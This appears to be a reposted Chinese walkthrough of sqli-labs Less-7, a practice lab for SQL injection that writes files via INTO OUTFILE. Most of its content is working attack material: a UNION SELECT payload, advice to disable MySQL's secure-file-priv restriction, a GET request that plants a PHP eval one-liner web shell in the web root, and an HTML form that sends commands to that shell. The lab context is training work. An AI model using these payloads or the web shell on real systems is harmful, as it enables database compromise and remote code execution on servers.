当前位置:Gxlcms > 数据库问题 > 【sqli-labs】 less7 GET - Dump into outfile - String (导出文件GET字符型注入)

【sqli-labs】 less7 GET - Dump into outfile - String (导出文件GET字符型注入)

时间:2021-07-01 10:21:17 帮助过:15人阅读

... from ... where xx=((1)) ...

技术分享图片

字段还是3个

技术分享图片

在数据库中执行测试,看是否能写入成功

SELECT * FROM users WHERE id=((1)) UNION SELECT 1,2,111 into outfile D:\phpStudy\PHPTutorial\WWW\1.php#)) LIMIT 0,1

技术分享图片

修改my.ini

secure-file-priv=""

重启MYSQL,测试写入,注意/需要转义

select * from users WHERE id=((a)) union select 1,2,11111 into outfile D://phpStudy//PHPTutorial//WWW//1.php#)) LIMIT 0,1

技术分享图片

技术分享图片

 

 技术分享图片

构造GET请求,写入一句话木马

<?php @eval($_POST["c"]);?>  
http://localhost/sqli/Less-7/?id=a‘)) union select 1,2,‘<?php @eval($_POST["c"]);?>‘ into outfile ‘D://phpStudy//PHPTutorial//WWW//mm.php‘%23

技术分享图片

【注】这个并不是MYSQL执行出错,查看源码可知

 row为空就会显示该错误

 技术分享图片

访问,文件成功写入

技术分享图片

新建一个本地HTML

<html>  
    <body>  
        <form action="http://localhost/mm.php" method="post">  
            <input type="text" name="c" value="phpinfo();">  
            <input type="submit" value="submit">  
        </form>  
    </body>  
</html>

技术分享图片

技术分享图片

 

【sqli-labs】 less7 GET - Dump into outfile - String (导出文件GET字符型注入)

标签:eva   构造   gpo   col   sel   png   name   屏蔽   ima   

人气教程排行